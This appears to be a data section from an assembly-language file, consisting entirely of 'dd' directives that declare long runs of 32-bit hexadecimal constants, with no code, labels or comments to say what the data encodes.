dd 5C5DB79Eh, 7A00139Ch, 16B4F943h, 86A4ADh, 550AB0E0h
dd 61F1E874h, 39672912h, 0D9655900h, 0EC1CA47h, 5F5735F3h
dd 0AA69E1C1h, 2D6AE071h, 0DFB13707h, 28900421h, 0D42618h
dd 0C296B3A7h, 0D23E3CFCh, 4B9AB000h, 0B862697Eh, 31C0707h
dd 0AB6AE628h, 0A472E080h, 6C096B51h, 0D78A8CDEh, 1F4D9580h
dd 1C013F6Dh, 0E5DCED71h, 0B8FBD796h, 0CFEC47h, 6BA5D1B1h
dd 0D4C595CDh, 17B8F00h, 6D64D20Ah, 54DC005Ch, 0D74AB169h
dd 1600D33Bh, 0CEE39F86h, 0FA5B1F0Bh, 0B4F601D4h, 2278F70Ch
dd 4E2FFCC1h, 0C4AB0809h, 0F9BC132Eh, 0E8CBB445h, 0E618C1h
dd 3513AAA2h, 580882E0h, 0C01A5EEh, 3B116CFDh, 3ED07064h
dd 3B6BE0EFh, 9F0040C8h, 0E8661D94h, 2900BA9Ah, 0FF4F8B79h
dd 9EA5D2h, 91A041FCh, 0B8B3EB6Ah, 0ACF8C0A3h, 0FA00C24Dh
dd 0A92C6C03h, 78C03970h, 5AA11D08h, 0BCCC40B0h, 0F3F710ABh
dd 41405B00h, 8334393Eh, 25DD1ED6h, 0BA7EC0CEh, 4DDCE78Fh
dd 58B1951Fh, 8AC0E91Ch, 9A93A40h, 2A37DB3h, 0AC6B9BBBh
dd 78C0F769h, 68289138h, 2A00802Ch, 54A0DC33h, 1C673B88h
dd 0EAC89DFEh, 7C9371B4h, 0A860035h, 7DD14591h, 1062470h
dd 95A4D609h, 0E2C20060h, 0F30AF13Ch, 249064EFh, 5FC104Ch
dd 36A5F094h, 0DBE064C7h, 1FFDDEBh, 5554F945h, 0C0592CB8h
dd 3300BC3Eh, 52576D4Bh, 5D0EF5h, 2CF46736h, 5FEF1810h
dd 2B883401h, 0A18155BAh, 47AAECh, 0FCDE24FDh, 0D5F6663Fh
dd 190B4807h, 0F450515Ah, 5C21B99Ah, 6F27B045h, 85052080h
dd 0B46142DEh, 6EAB1F19h, 487FD40h, 470500E5h, 45C9C3CCh
dd 71047470h, 7F01A293h, 5DBC00A3h, 7DAF008Ch, 1C970F8Bh
dd 0C000B7F0h, 31384288h, 1A9F7Ah, 116B6E1Dh, 0C1F98CEAh
dd 0C52C1400h, 87C7D55Fh, 15B4A01Fh, 0B2C000ACh, 0D743D2A3h
dd 50EF582h, 0E09D46BCh, 7CC99089h, 0A580032Eh, 95DBE3DEh
dd 0DFA034ABh, 671D6244h, 0C1805DADh, 105AD785h, 18EA41h
dd 0C8160C19h, 0EFB2CCF7h, 80EB51Dh, 0BCC29300h, 306D2976h
dd 643E144Ch, 653E6E66h, 21A613F4h, 7549EB00h, 9C601F9h
dd 67275687h, 935F28E0h, 285E7800h, 105B6B0Eh, 0AA6350B9h
dd 5884FB7h, 0AA56D34Ch, 149B8080h, 1D876BCh, 90F0697Ah
dd 60119D7Eh, 43009570h, 0D37993F8h, 0DB6B8Fh, 81165923h
dd 571FEB87h, 0CC1A4C00h, 99D6F7E1h, 20950271h, 299E47F1h
dd 4D80A480h, 0DC054A5Ch, 0E2711A66h, 0E016240Fh, 339520FBh
dd 13491F18h, 0C1B39FE6h, 0BB83DFE5h, 0E998FF98h, 0DD0555DCh
dd 0B7666EB8h, 7FBDD0C0h, 724300E1h, 0C8A2874Ah, 25EC52B4h
dd 503D4500h, 0FFEA04ABh, 192E65Eh, 1CCB81A8h, 2046D5A0h
dd 4B48D898h, 0C7747640h, 0E07D3FB0h, 80DF3800h, 72DE5BAAh
dd 49B200E5h, 7DEF9468h, 0F000D98Eh, 26E00F44h, 17432ADh
dd 9472F84Fh, 0D038A21Ch
dd 0DD4CCA89h, 0C85E1288h, 0DC0911Eh, 2EB73EC5h, 6A4A0F9Fh
dd 9280E9C0h, 0C7F7F548h, 0CE14BA00h, 251F391Eh, 0EAE37E3Dh
dd 431D00FBh, 6F3EF683h, 0F0021C6h, 35345C7h, 1CAD6317h
dd 0C0FBCB37h, 728E3A3Fh, 5A1C4174h, 3EBF38h, 0C279CFEBh
dd 0E4BD9517h, 599612A9h, 810A1EC8h, 4D5F48B2h, 0F058313Ah
dd 6200FD03h, 0F8F24452h, 1B5B0DCAh, 203687A2h, 0E701EBD8h
dd 82F13500h, 0FFD7D956h, 4C9800C6h, 0B38793A2h, 7D01F949h
dd 5D02173Dh, 0DDC0FA88h, 24C000DAh, 5E10A921h, 649859FEh
dd 2B0054EEh, 62D95DFDh, 135BF66h, 0E4E39A7h, 0EF268897h
dd 0A2F1A8B8h, 0CB80F26h, 0C5A11381h, 3C3CB94Eh, 53449200h
dd 181534A9h, 6B506800h, 25AF78F4h, 161B07B4h, 72172BA7h
dd 30481360h, 730072FDh, 0FF2390BCh, 9C20F1h, 0AC30FC59h
dd 0B634D0D8h, 58CAFD2Eh, 0A2ADE901h, 8CD93A32h, 999D30h
dd 0E1C46FF3h, 9D68AE94h, 3900DB72h, 37761019h, 0AAA804h
dd 87626D5Eh, 300C367Ah, 0CD1A6702h, 51FDF63Bh, 81FA1FDCh
dd 92C5840Eh, 3F6030E5h, 654F7604h, 6CC06072h, 0BEF0D95h
dd 0BCEE66D8h, 7F4E0200h, 620ACAC9h, 0F8F2BD9Ch, 0FC6F9B07h
dd 2C118970h, 8FC6003Ah, 86D452B5h, 58E81B96h, 2BF88C00h
dd 5AB4A106h, 0E6D50E12h, 80DCB00Dh, 0D9E35183h, 0C21F7B7Eh
dd 3EC72C3Ah, 0CAD07229h, 1F7F6h, 0C58EA36Ch, 304865Ah
dd 52340901h, 83908D15h, 4711D840h, 0C2D0F5Ch, 6C40D1B7h
dd 174A4652h, 0E4947526h, 0F6FD0681h, 23D0D5FCh, 8D4B07A1h
dd 52D34302h, 0E0815BEFh, 383729D4h, 80E53CC0h, 51772EA9h
dd 2292D1h, 7935E248h, 2154E420h, 5614C303h, 0A05A4697h
dd 48F16A4Dh, 75382AF3h, 4300413Fh, 968C5BE6h, 3913085Ah
dd 280122DFh, 76AF1565h, 0B121D865h, 0D13FD100h, 107955h
dd 4689D654h, 5A7C0AF3h, 0F9960100h, 0E165C480h, 69510B72h
dd 0B8836070h, 0BFA8DF4Ah, 500DCFCh, 816717FDh, 375C70Bh
dd 43C849Fh, 3DB8B6C1h, 3803EA2Ch, 3FF8414Ch, 722EB8E6h
dd 0FA81909Dh, 260A77E9h, 19806CCBh, 0D0917044h, 0CFEE840Bh
dd 0BD238300h, 0E84F752Dh, 0D556073Dh, 0B0827E7Ah, 0B78E9AD2h
dd 0F11C7000h, 0B34F4A68h, 0D66A1D9Ch, 0BD47418Ah, 0C4CA29FFh
dd 4492D40Bh, 2100FAFEh, 5FA21FE8h, 98923F76h, 0B9030078h
dd 0E6456B69h, 610285B8h, 533CD88Ah, 0C87E63DAh, 8DDFD6h
dd 92A45DA8h, 3FE8D7B1h, 46C84000h, 0CB2686F8h, 0F8BF777Eh
dd 426D1C92h, 4C970064h, 76A0BC24h, 89930304h, 98D208DEh
dd 71C7874h, 0B8202C5Bh, 65BCE0DBh, 9E008867h, 2379A3EAh
dd 24138E76h, 0EC5269h, 7EF4C5F1h, 0E1002DBEh, 0C9C69899h
dd 9EA05Ah, 8F094EFDh, 725EE238h, 0DD07B1FAh, 0F9D1F8CDh
dd 0F4F55090h, 0E9BD39C9h, 0ED461400h, 849B01Ah, 1B4CDAF6h
dd 7BD04C6Ch, 55577E00h, 5ABD1488h, 4B321E99h, 41930958h
dd 2973C100h, 0E91E2661h, 77DEA71h, 0E521CABDh, 0DB874500h
dd 0FF3E0074h, 1A33E658h, 0E005EADh, 75AB3B60h, 89922Fh
dd 68D13873h, 0F7D33A74h, 3DEE141Dh, 923B8CC1h, 0AC30FFAFh
dd 0CF3E006Dh, 0F5F38E61h, 0C50BBE3Ah, 80B31999h, 451C7AB2h
dd 3498A9h, 0C606D5F8h, 999D5D40h, 0F321A400h, 0A1D0A8B5h
dd 0F710072Fh, 0E0DE62D4h, 9899B87h, 467AB20Eh, 0FD332068h
dd 246EDC6Ch, 407C3F4Bh, 22F809FFh, 9D79A700h, 64258A20h
dd 36E600BCh, 0D59575A9h, 68001CDAh, 6642EC6Dh, 10560Dh
dd 0E162A639h, 0DE1E3397h, 7700A57Dh, 61A81BC9h, 17FA2784h
dd 201101F2h, 28782ED8h, 0B000CDF2h, 7A055E57h, 0DF5C06h
dd 9D4026CAh, 6D64E38Ch, 501D5900h, 838B07F6h, 9244766Bh
dd 2E490B68h, 0F4009622h, 314B76D7h, 26012F7Ch, 0C4C658C1h
dd 0FC788A9Bh, 0DA918300h, 0B167F7CCh, 0BC3FA400h, 60ACE911h
dd 315D0290h, 0EDC13748h, 661E04C8h, 9D13F001h, 12AB7BF8h
dd 9E4460CAh, 0C83A3CA1h, 55B96900h, 3B91C780h, 151A1F00h
dd 92C17D88h, 0C8FB0039h, 44DAA6E8h, 0D53F1920h, 0DF999326h
dd 0E0F4240Eh, 8D981CF8h, 918C0986h, 76002EE9h, 9F8111B0h
dd 9C789E01h, 0C2A57407h, 0BC53C0h, 0D07A7B1Ch, 20E8FBF6h
dd 0A9D9F705h, 0E4143E80h, 606F0048h, 9B29BE81h, 62E237h
dd 3D2EB696h, 0F06BA80h, 150DE5Ch, 17745308h, 0DC44C5Dh
dd 0C3C600BDh, 346D59DCh, 38009833h, 5176110Ah, 1EBE9110h
dd 88B8C4h, 2F86265Ah, 0B617837Fh, 2003B4DBh, 0E871E409h
dd 6148413h, 0D219CF5Ch, 400621AFh, 0C5F3A3A5h, 7E1E3F60h
dd 0C42E9400h, 0B55D532Fh, 5C32AE1Ch, 884F20C3h, 0B01AC32Ah
dd 1756AF62h, 45A337Dh, 0C00D8EB0h, 12613970h, 6C86C800h
dd 0B49416FEh, 0F0C600FBh, 0F6B71D76h, 0ED01E499h, 0A28544DEh
dd 0F3D0AAB5h, 0BDEA012Dh, 0ADB7040Bh, 51B0D884h, 341298E4h
dd 2E1D46BCh, 0C825BF80h, 0EB8FE5Ah, 24FD2CAh, 40050B20h
dd 860485E6h, 7360B93Fh, 1D130887h, 0A98CE0DEh, 97B02CBh
dd 0DD392D35h, 0E963C981h, 0F328806Ch, 8A3F2F8Bh, 72900ACh
dd 0B28E1631h, 6400B8F2h, 736B470Fh, 588F2AC4h, 72004C3Fh
dd 0CACDDE17h, 234CA2CBh, 30BA83E8h, 4FB200AFh, 1D51C5FCh
dd 223C2312h, 32EC8168h, 448EB0D4h, 5F4F1D5h, 6F6C000Fh
dd 0A538A3Ch, 4F07617Ah, 4D670C9h, 2A113BD0h, 0DB5E5167h
dd 393078F6h, 78070D10h, 4031173Ch, 0AFFFC153h, 3A004FE6h
dd 8E527D64h, 2415A15Fh, 8F8DE4h, 0F5780DD2h, 8800FBCCh
dd 6AE0EE95h, 0A9DB69h, 9CCB7DBBh, 5263302Bh, 11D1800h
dd 6B28AE81h, 0EE3F22Fh, 486AC716h, 0AC4F1240h, 0F50014FCh
dd 1A4D991Eh, 0B9049377h, 0A6F7002Ch, 206C35A7h, 5F829D00h
dd 26CFB9EBh, 0BF1D3C7Ah, 0CD21DD80h, 8FBAFB1Bh, 0DC60E1Ch
dd 0D5DC817Fh, 6138111Eh, 8165D4h, 0BFCA0B2h, 0A916123Bh
dd 1DECCE4Ah, 36BC4100h, 65E672CAh, 0FA675F00h, 0E2C06281h
dd 9F6602A4h, 110620D1h, 0FCB86E0h, 0DE821728h, 4D746700h
dd 8159A73Dh, 997D00FAh, 8FA1DEF2h, 3900C7C2h, 3E95377Ah
dd 12FCF67h, 0AA9FDF8Ch, 0DD1271D6h, 0A634CC8Bh, 0D111D900h
dd 80199A8h, 797C0C56h, 74647884h, 0FEE3E200h, 0DE7B9F61h
dd 2F88C18Fh, 0F9664D04h, 0C3E3F85Dh, 0F7E06A1Dh, 0BD1C6664h
dd 51490540h, 0CE1709h, 94EE8174h, 0B9ED0EF7h, 0EAB70A03h
dd 0E8E167D8h, 9066A3E5h, 154E292h, 0F7C71524h, 300FCD8Dh
dd 0DF00F4DBh, 134576F9h, 5C0ED84Eh, 500F25C8h, 9E205AEAh
dd 4065B11Fh, 0B910C300h, 0DEEC6E08h, 3C3500DCh, 0F8990247h
dd 0FF00F563h, 7F4C868Ah, 32DE36h, 0E9958EACh, 57D597D8h
dd 0EEFB7500h, 0BC14D4D9h, 41180048h, 716DB58Ch, 7C7B1DDCh
dd 70E59900h, 6875A674h, 0DE853BC0h, 0B93C5080h, 5DD77177h
dd 8FF02E00h, 998DDC5h, 0ADDF0F68h, 0EBE0A69Ah, 7CF57E07h
dd 4612CB03h, 1CBDFFF1h, 805F0572h, 9BEF8562h, 7700DF47h
dd 0F91C9325h, 0A0CDBD57h, 3D15CAh, 8BDA4BAFh, 527F2A9h
dd 0D1250400h, 2DB68CCBh, 9A3638BBh, 68DA5809h, 5E142E83h
dd 0D8239DC9h, 0A007CCFh, 94F5168Ah, 66B7EAh, 6830E75h
dd 0FC150D9h, 8F59B13Bh, 0C01211DBh, 0EBE34B21h, 853C003Bh
dd 4A1038C3h, 0A9481D8Ah, 0D64E00D7h, 91B0ED6Ah, 587600D4h
dd 8C807F5h, 6E00E244h
dd 54D1D62h, 19976DBCh, 0CCC535E9h, 8C804056h, 0F800A9A8h
dd 0F74205AFh, 0E0B7E42Ah, 0FC980030h, 447FB93Ah, 0E2007767h
dd 4AFEC713h, 0C87076Eh, 4EB8BBF1h, 3D1D678Ah, 3283EE2Ch
dd 0C0365D11h, 387FAEFh, 0ADA74E77h, 3BA0750Bh, 0E4008823h
dd 3D0403F5h, 98C62127h, 0F2CC0009h, 2C709A5Bh, 7200682Ah
dd 0B1919246h, 3B5A86D3h, 0E0F8958Fh, 736C0071h, 0E1D885D4h
dd 0F3018B16h, 8D619DAAh, 0BFCE27Ch, 0B0073D5Ah, 103B0680h
dd 904D1441h, 7EE01112h, 5D8F00FBh, 0AB5C5E3h, 3C36DC1Eh
dd 27D7EEC0h, 781EFA6Dh, 633F0048h, 0F601C719h, 1B0099A3h
dd 44CF5037h, 983CABh, 0B0F37B78h, 67D15F23h, 0D8AC621Dh
dd 64808Bh, 774DE4BCh, 68BE0042h, 9A4A239Fh, 4100A201h
dd 76CB3E52h, 0FCF251B9h, 0F1D51C68h, 2C81C14Bh, 0C8294792h
dd 0CF00A2AAh, 9F2FE7B0h, 36CCA6h, 0BE4E42C1h, 0FC84DC70h
dd 2A71A900h, 7BFA0B2Bh, 7A550072h, 6CA3C3E9h, 1B005214h
dd 0F0F5FE71h, 1E98D480h, 0C01EF461h, 1FDD0423h, 0F91C899Ah
dd 5880C2FDh, 66E42825h, 8AE004Bh, 8EDF755Fh, 0CC075CFFh
dd 58B5AFECh, 0CD7B4680h, 4ECF0024h, 0DE27653Ah, 1FE6853h
dd 0A5003673h, 0BB582218h, 6C2BDAh, 0C7B12079h, 9EDBA37Ah
dd 308F6307h, 0E8E14BB0h, 0FAF0B625h, 6BB040h, 0A9190A1Dh
dd 7595739Eh, 7C44F103h, 0D8AA91D4h, 0C911D7h, 8718B3B1h
dd 353E2B16h, 94EB0A00h, 0B78B7C42h, 0A1BC01F3h, 396C46AEh
dd 0E8E3FD55h, 5D008DCEh, 0BA37579h, 7BF030h, 3319BF11h
dd 72F4D2CBh, 0F657C203h, 0B0E01E0Ch, 1A38916h, 9371F588h
dd 0ECE81509h, 8C7A8D23h, 9BB49E00h, 0FC768587h, 49CA0F0Eh
dd 97A090A2h, 488C6F83h, 7C47F700h, 0AE373559h, 0CE9F1F21h
dd 754A8365h, 7B0B44Dh, 7E1C1725h, 0AB00A505h, 5143A4EBh
dd 44F600E1h, 6E038EC2h, 0FB1DF765h, 7001F8DBh, 0FFA58BADh
dd 3F6BF8h, 17EABCF1h, 0F4073DE9h, 7523E300h, 9966647Eh
dd 1CFE1DFDh, 0BA8B4059h, 0C7866B0Fh, 0B2B038h, 8440BDB4h
dd 0FE56AACh, 7A3F071Dh, 227BF6A0h, 0EB7E9005h, 4B802700h
dd 6FA8E7DDh, 5E8C0008h, 0DBE11270h, 9000A747h, 0F5423BCh
dd 320588h, 0BBADA381h, 0A4C1288Eh, 20004BB8h, 0E4313AE9h
dd 458FCh, 916BCC0Bh, 0D9466171h, 0C281B03h, 9838219Fh
dd 1EDA0C2h, 0F4DFBF9Dh, 8524D2D4h, 3CF53D60h, 0B7490C0h
dd 6FD12C10h, 0CBD80B18h, 5B2983D5h, 0D5DE1EE6h, 0FF220082h
dd 5210E451h, 0DB04EB00h, 7EE597A3h, 0E2F0FBE0h, 4E710E24h
dd 0E8806FD3h, 60A4107Ch, 3F54B000h, 75877693h, 4C6907D1h
dd 40DCDB43h, 6738B919h, 0E1791800h, 565B6124h, 0DD893CE4h
dd 0F13CF800h, 96C1F42h, 0AE78FFFEh, 0CFD94A1Fh, 7AF80D40h
dd 3BD7EE6h, 9931CC97h, 28001258h, 1E5F36E0h, 84DD92h
dd 2CD1F3D7h, 961CE946h, 0F171D02h, 80806824h, 5C0BA06Ch
dd 97ED005Fh, 41FE2118h, 0A10FA54Bh, 407C9805h, 0B24780BAh
dd 4F2E00D2h, 0CD5769CFh, 0D100CB8Ah, 4B9385Bh, 0B05620E5h
dd 4BCF0094h, 0CCBB018Bh, 0E400595Ah, 0EFE56B4Fh, 7C5062C3h
dd 0FAEAF9h, 0B6BFE39Eh, 1A8BC1A9h, 7F542100h, 0BC703815h
dd 90D600D0h, 4089DA06h, 0D3C634Dh, 0EA579F12h, 0E438F800h
dd 0E92018Ch, 1E49E98Bh, 0EF7BA400h, 0E105BFB8h, 0B28C42A2h
dd 0FE18A900h, 59F988h, 0B2AF49Bh, 6BB554E6h, 0EC2474E2h
dd 2B940CB8h, 1EE800C8h, 0A1EA6CDEh, 254B00C5h, 94A778F0h
dd 3C016551h, 0EEAE2461h, 0BC216B9Dh, 0B03D97ECh, 30DA1F8Ah
dd 0F6A68077h, 0C654403Ch, 0D311B50Fh, 0C50AE0CAh, 0B2F9F26h
dd 72DF8318h, 9E544700h, 1201FCB8h, 0ACE1C496h, 0B9D46F9Ah
dd 19BB017Bh, 0ECEA93D0h, 0A9908040h, 8ACA18D4h, 2E37EAB7h
dd 2117FC4Bh, 0DC1A0FECh, 40A8AD20h, 81609764h, 9ADFA9D8h
dd 52630C6Bh, 8F1BFDDh, 25322100h, 8BFCD30Fh, 0C08903Fh
dd 1CF31E8Ch, 78289960h, 14102C54h, 3B10E3B9h, 0BE16827Dh
dd 58A09CBh, 8E583028h, 0D6081D2Eh, 41406FFCh, 2DD7E1Fh
dd 0BA3418F4h, 642DFC04h, 1220CC7Fh, 57806594h, 0B2FE445Eh
dd 211F0E20h, 0D30C8AE3h, 4210B1BFh, 677C0818h, 6DA308A5h
dd 626FC641h, 41653301h, 84584A2Ch, 240947B1h, 180D1349h
dd 0B0A0DE58h, 6093CAEh, 0E650D060h, 4CE3FF21h, 8400A8A3h
dd 4EACF25Eh, 7C5017B2h, 4002EDB1h, 0FDFC6CFAh, 0AD9480BAh
dd 3CB726ABh, 80E029C9h, 8B8FE634h, 18607EECh, 6230E770h
dd 1A6C005Ah, 0ADE4FA48h, 950F60C1h, 96911556h, 7218E302h
dd 0DA880F4h, 0A19B8Eh, 0ACBD8122h, 8A7BCA5Dh, 0CF3F20h
dd 4E6B951Fh, 0CD351633h, 0E457C700h, 0BAEAA6FBh, 0D5061E05h
dd 0C0507F7Ch, 806D0C8Fh, 4CAE4DF7h, 6476B201h, 501728E3h
dd 0FD54802Eh, 0C0A19368h, 8EF2CCABh, 37D00503h, 0B00742C0h
dd 1629666h, 0D5553D1Ah, 5040B90Ah, 6C63CCACh, 0FA7B6400h
dd 0CBA42B79h, 692F3119h, 604CE221h, 0C2018CABh, 1B9FC991h
dd 2040F06Ah, 34ACE2h, 7D646F74h, 0F443AE8Fh, 0D0C9A73Eh
dd 4B0081A8h, 1D18AC06h, 0B0148C4h, 12E64AEAh, 1504CF80h
dd 0DF00C033h, 135329A0h, 7CD440E0h, 49CEF292h, 62704CF2h
dd 0EBD3713Fh, 0DF00DD56h, 8BDEFD37h, 4840E5AFh, 3B70F55Fh
dd 0EA804D55h, 0C8E146BFh, 0C6008712h, 0E211596Dh, 7E61872h
dd 0E7025195h, 0AE4AE104h, 98C034B1h, 30AB6B24h, 8CC598B9h
dd 0CD8A18h, 5F69D38Fh, 98F7B06Ch, 2A5E8907h, 0E9A09F79h
dd 1B8C8Ah, 7B44962Dh, 9CC0C531h, 0E5671D0Fh, 35C38019h
dd 7D3A1ADh, 0F48C9D41h, 0D8B6503Dh, 510A9C70h, 9EA898BFh
dd 0EA66AB01h, 0C0FB7FA9h, 0C3F63DAFh, 0B7BB0E98h, 74A71000h
dd 0D7687106h, 6C6F06Eh, 0ADA55517h, 1A0038F0h, 0E4480A5Bh
dd 74BBDFh, 0EB4696Ah, 0EC13A05Ah, 5F756000h, 99076259h
dd 4A453D40h, 179E0600h, 0C1CAD619h, 0C950AD00h, 0CD1A330Ch
dd 91B100C8h, 8D84B50Eh, 6901F061h, 7365FDB3h, 25DC2A31h
dd 0E377137Eh, 172D00B6h, 1DAD09CEh, 6600A498h, 0C30735A6h
dd 60CD67C5h, 29842004h, 0B200BD9Fh, 26E8FCA4h, 0CC943Ch
dd 138E03AFh, 4A14F4FEh, 0CC37300h, 18E7F7E8h, 0E6793032h
dd 0E08E6B40h, 20DAB800h, 0BFB917Bh, 5EE71D4Ch, 309AC343h
dd 4E7193D6h, 9B5BDE00h, 0A1D7B09Eh, 94E62F52h, 0A50083FCh
dd 2A07BD3h, 2BEA00FCh, 35652669h, 0CB00F862h, 9E123725h
dd 0E2ADAC9h, 0EC0FE5F9h, 7004F4E7h, 0AA7C2653h, 0DAE6BF03h
dd 808B5F96h, 0D5220Eh, 0D4EA0CADh, 8E27DE0h, 0B803CD01h
dd 0E49CDFA7h, 5CCF9DE8h, 0B6007B2Bh, 280C472h, 0F2049F86h
dd 653498C7h, 4FB4AB80h, 1417464h, 890F3623h, 0D4E2C7F3h
dd 0B97C31E7h, 0BA9061F0h, 0BB00A5EEh, 0E388CE7Ah, 591432h
dd 0DBAAB43Fh, 427CBDEBh, 0D0955700h, 804AD87Bh, 45D1005Ch
dd 0E34EA6C0h, 0F17A02ACh, 7117F21Dh, 42517780h, 5919F4h
dd 0EFB3DF32h, 0CE69BEDEh, 0F79FB100h, 824E204Bh, 0EAFE005Ch
dd 76D15B0Ah, 400BB23h, 507880C1h, 1E5F2C7Dh, 0E7F641h
dd 63898625h, 0AE00EFF2h, 0B4C79CBFh, 1F66D164h, 0F954FFh
dd 0AA08493Ah, 29005C76h, 0F3A6D2C7h, 7D46EAh, 118D18F7h
dd 591566D4h, 9FE1C600h, 6719F3A7h, 0D94950D9h, 0E750C078h
dd 4F5136ABh, 6C15EB0Eh
dd 1BD68054h, 31F985C2h, 0CE98327Ah, 3000D362h, 0A8A4FDBAh
dd 93858Ch, 399617AAh, 0B8219425h, 0FB2C1B00h, 0C67688BAh
dd 0E98C07CFh, 0F0A102A9h, 0C7E0FA42h, 94B34700h, 1D16C4F1h
dd 256F852h, 7F43DC4Fh, 3EC03B1Ch, 120C892Ch, 18D5DB3Dh
dd 80DE7488h, 0F974A8B7h, 0AF0F97EAh, 8613D958h, 20DB18h
dd 60E27FA5h, 0E770F379h, 0FD37E1Eh, 52C013DEh, 0C5B85AEFh
dd 0D9080235h, 1F7E6BDAh, 0FF510040h, 0B9C97900h, 0A6A0E5CAh
dd 0E3D30734h, 7721F8CBh, 0D041D086h, 100494Eh, 0B0D33AEh
dd 0D35F6Ah, 7CFF326Dh, 0BF6C9320h, 483A28C4h, 30346E00h
dd 641218B6h, 4D0329D7h, 0F050DA56h, 2F5D3Ah, 0B64C937Fh
dd 58E9159Ah, 0C8BD3D00h, 0D12AC726h, 0E56F1C57h, 37A28162h
dd 0DC9DEAC3h, 9B7C0C63h, 0C84D8D07h, 0FEC097D1h, 549E2Ch
dd 0F3B7F5E7h, 0D719C71Fh, 0DD50BB00h, 9194F4F8h, 0EC74B5h
dd 80C20510h, 0D80937DEh, 0D900E5F6h, 7AC4D5Eh, 7918D6A2h
dd 0BF8A01EDh, 284FEF11h, 7A60F285h, 0A00AFB1h, 0DFBDA643h
dd 18B1C62h, 0BF1E953h, 0F05A31A7h, 56010C86h, 0DA4B2CE3h
dd 1E8C58B5h, 0E12AEA05h, 46AF8500h, 47323EC1h, 228D0173h
dd 0E71F968h, 24C440D9h, 7600BBCAh, 0AD1D6901h, 0BE875E1h
dd 0B2D5478Ch, 2610B280h, 6F007706h, 89CDF053h, 30AE7Ch
dd 0A2145C09h, 0C0495091h, 0B9D08F00h, 0D6183E12h, 0B0BE0441h
dd 0C0E7366Ah, 7B268CDAh, 0FC0015FEh, 538DAEFEh, 0AC51AAh
dd 0C9A9562Ah, 0E49D83EDh, 0D9C58700h, 8838EE8Eh, 0AEB70E1Dh
dd 0F92761F0h, 0A95D108Ch, 693F788Fh, 88FE80C6h, 0D5B3C2B5h
dd 73E09B6h, 3020332Fh, 2C44A918h, 8101103h, 0D0DF0AF7h
dd 0F6B6D41Eh, 7998000Fh, 0CA99F22h, 81006234h, 511315CAh
dd 0FA3E9B4Bh, 6B050784h, 70E0F71Bh, 0A30EBEFFh, 68283F00h
dd 0D315FD55h, 73980EA2h, 83C0CC41h, 7EC6393Eh, 0D97D3Fh
dd 91BB866Eh, 798F9D22h, 526C00A2h, 29898CE2h, 86002FD6h
dd 4D7C761Ch, 0F625E61Dh, 0A18800DDh, 558397F6h, 460034DEh
dd 0F13D8641h, 79FACA5h, 378BFBBCh, 913FA033h, 264CA4ECh
dd 6CF2146Ah, 0B6C400EAh, 9F1DDB29h, 8F4E3A54h, 1B239200h
dd 70338D5Eh, 0C279C60Eh, 0F0807C6Bh, 0B2A2F7FDh, 1DBD006Dh
dd 3696F695h, 16000559h, 329AEE33h, 74106F0Eh, 0B04F5086h
dd 0F0D700FAh, 1A380993h, 0AFC3CD9h, 51755F1Ch, 117D9DC0h
dd 33720C54h, 39CC2D09h, 73E300B7h, 0DC00B2C0h, 16433A2Ch
dd 3B9EEEA4h, 0EF0FC8C6h, 0B8604FA2h, 6CF6F24h, 8A774D17h
dd 9A548B00h, 0FA239Bh, 0B1AB2045h, 0D3240D6Ah, 90C6100h
dd 0B350D51Ch, 62781Eh, 752879E9h, 8AF9B833h, 0A58B2A1Dh
dd 0C97821C2h, 5AF4E0A6h, 0E4BEB0F6h, 4BAB0032h, 0AE1CAAFCh
dd 4000EBF5h, 6E57B636h, 6D0973h, 0B9015D88h, 6149320Bh
dd 9AE0E6F6h, 5085E303h, 0C8872168h, 720B90Eh, 79F8CEC9h
dd 0AA64605Bh, 8900444Bh, 930C8032h, 7A768523h, 0FA500E8h
dd 8E372CAh, 0A7139D96h, 980077F6h, 81394D02h, 334B3B8Eh
dd 93A92280h, 0B61C7332h, 42D85100h, 0B8F77C2Eh, 71956030h
dd 0A8DC2750h, 181C6106h, 0E0B08675h, 12D33F73h, 1771D081h
dd 0C1097E57h, 0B0E0EA6Ch, 0ED00C67Dh, 0F8B9B4B2h, 2CF8FBCh
dd 0F0919AEAh, 1A60F4D4h, 4D010978h, 8D462F11h, 0EBCC158Eh
dd 8AB8009Eh, 0D6C71B38h, 9B0EA4BAh, 6FBBCDB1h, 0B6403D3Ah
dd 370F6559h, 27271AEh, 0DA7CEE5Eh, 0C480238Ah, 0D91C2A74h
dd 0F6AE5100h, 9E246E80h, 0E0E700E3h, 0C3F5A129h, 0CE00A82Dh
dd 0BBB52853h, 24DEC0h, 9273B7F9h, 8EEB2BE3h, 0D4DAF60Fh
dd 1ABF8439h, 11EF0080h, 0FEF30001h, 4D20C9D1h, 0BAB04971h
dd 2076C7Ah, 15C3745Ch, 340A8850h, 91BA00CAh, 14EFEB76h
dd 0B100F0B7h, 1DC33F52h, 7AF9F150h, 0D19A00CBh, 33402D02h
dd 0BF07AF54h, 0A296204Ch, 2A93AA00h, 6475039Eh, 1F82E055h
dd 77E38600h, 8170CC2Fh, 0DBC000E8h, 0D46B5E80h, 88006A68h
dd 0CC994154h, 481385E9h, 620356D3h, 91F48F92h, 190CC8C0h
dd 0C93B31FCh, 1C4124EAh, 0F4D7E600h, 0BCB7E81h, 4A73752h
dd 53F55800h, 1A00D047h, 0FDAC8283h, 0CAC87Ah, 0B524D35Ah
dd 50BF499Eh, 4C63111Eh, 918C0E40h, 3BE0CEF9h, 0F00C127h
dd 4D43BBF3h, 0D00599EDh, 0C224D22Ch, 0A9ED80FFh, 0AB0029FFh
dd 0DB668AE6h, 3ADAF4C6h, 3D807C06h, 0AF3AF681h, 0D11F87B9h
dd 0E7404271h, 2CBC163h, 4EE61D82h, 0A857004Dh, 5A18DE46h
dd 0CDA18B00h, 17499B8h, 52FA3FCFh, 8DC77E83h, 0FFFCCAh
dd 0B8308A7Fh, 0E19B311Dh, 2C5109h, 0ABC14120h, 81D100DDh
dd 20795FEEh, 27005615h, 3A42F74h, 0FC1E92DFh, 0C23B1CBAh
dd 89D5DDA7h, 0D000DA6Fh, 91246A4h, 82DBAE00h, 0BFDC21BEh
dd 2DE0F952h, 0AA4E07C5h, 83A728C4h, 3BC0B4FDh, 10C02445h
dd 4A357D0Dh, 5C50B86Fh, 0D10002A1h, 0F31E4D60h, 0E8006D80h
dd 0AD8E7ECFh, 35A2B1h, 824CC240h, 90C5D288h, 0A6C1100h
dd 6AD3F28Fh, 0E4E790E7h, 0B4A23097h, 0A7BE7348h, 4CD12620h
dd 3B00BC75h, 7D0CDD2Bh, 0EB3BD5A8h, 12138773h, 80002A0Eh
